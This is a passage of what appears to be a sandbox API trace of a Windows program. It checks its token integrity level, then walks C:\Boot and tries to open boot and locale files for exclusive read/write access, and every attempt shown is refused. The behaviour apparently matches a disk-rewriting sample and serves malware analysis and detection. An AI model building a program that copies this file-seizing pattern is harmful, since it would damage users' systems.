lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0 | out: lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0) returned 1 [0150.966] OpenProcessToken (in: ProcessHandle=0x1bc, DesiredAccess=0x8, TokenHandle=0x1a7f9ac | out: TokenHandle=0x1a7f9ac*=0x1c0) returned 1 [0150.966] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1a7f9a8 | out: TokenInformation=0x0, ReturnLength=0x1a7f9a8) returned 0 [0150.966] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0xa3cad0, TokenInformationLength=0x14, ReturnLength=0x1a7f9a8 | out: TokenInformation=0xa3cad0, ReturnLength=0x1a7f9a8) returned 1 [0150.966] GetSidSubAuthorityCount (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xa3cad9 [0150.966] GetSidSubAuthority (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xa3cae0 [0150.967] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cad0) returned 1 [0150.967] NtClose (Handle=0x1c0) returned 0x0 [0150.998] QueryDosDeviceW (in: lpDeviceName="C:", lpTargetPath=0x1c7f7c8, ucchMax=0x200 | out: lpTargetPath="\\Device\\HarddiskVolume1") returned 0x19 [0150.998] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0150.998] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0150.998] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c7f7c8) returned 1 [0150.998] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0150.998] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0150.998] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0150.998] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0150.998] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400)) returned 1 [0150.999] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0150.999] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0150.999] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0150.999] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0150.999] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0150.999] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0150.999] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0150.999] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400)) returned 1 [0150.999] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0150.999] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0150.999] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0150.999] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0150.999] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0150.999] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0151.000] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.000] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.000] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0151.000] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.000] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.000] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.000] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.000] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.000] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.000] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.000] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0151.000] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.000] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.000] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50)) returned 1 [0151.001] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.001] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.001] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.001] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.001] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\cs-CZ", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.001] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.001] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.001] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50)) returned 1 [0151.001] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.001] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50)) returned 1 [0151.001] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.002] GetLastError () returned 0x5 [0151.002] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.002] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.002] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.002] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0151.002] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.002] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.002] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.002] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.002] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\da-DK", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.002] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.002] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.002] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0151.002] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.002] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0151.002] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.003] GetLastError () returned 0x5 [0151.003] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.003] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.003] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.003] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640)) returned 1 [0151.003] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.003] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.003] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.003] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.003] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\de-DE", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.003] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.003] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.003] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640)) returned 1 [0151.003] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.003] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640)) returned 1 [0151.004] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.004] GetLastError () returned 0x5 [0151.004] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.004] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.004] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.004] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250)) returned 1 [0151.004] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.004] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.004] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.008] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.008] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\el-GR", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.009] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.009] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.009] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250)) returned 1 [0151.009] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.009] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250)) returned 1 [0151.009] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.009] GetLastError () returned 0x5 [0151.009] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.009] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.009] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.009] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40)) returned 1 [0151.009] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.009] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.009] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.010] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.010] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\en-US", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.010] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.010] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.010] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40)) returned 1 [0151.010] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.010] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40)) returned 1 [0151.010] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.010] GetLastError () returned 0x5 [0151.010] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.010] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.010] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.010] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50)) returned 1 [0151.010] 